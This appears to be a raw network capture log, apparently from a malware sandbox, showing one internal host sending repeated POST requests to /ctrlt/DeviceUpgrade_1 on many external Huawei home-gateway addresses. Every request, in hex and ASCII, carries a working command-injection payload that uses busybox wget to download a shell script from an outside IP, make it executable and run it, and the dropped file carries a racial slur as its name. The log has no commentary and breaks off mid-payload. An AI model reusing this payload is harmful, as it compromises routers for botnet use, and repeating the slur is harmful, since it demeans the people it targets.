Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:28.539764881 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.23	42854	94.121.65.38	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:28.541605949 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.23	56648	222.239.102.189	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:28.828450918 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:30.339742899 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:32.099431038 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:35.746934891 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.23	58840	94.122.114.53	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.590533018 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.23	56766	94.121.66.11	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.590631962 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.23	35098	94.122.212.66	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.590704918 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget 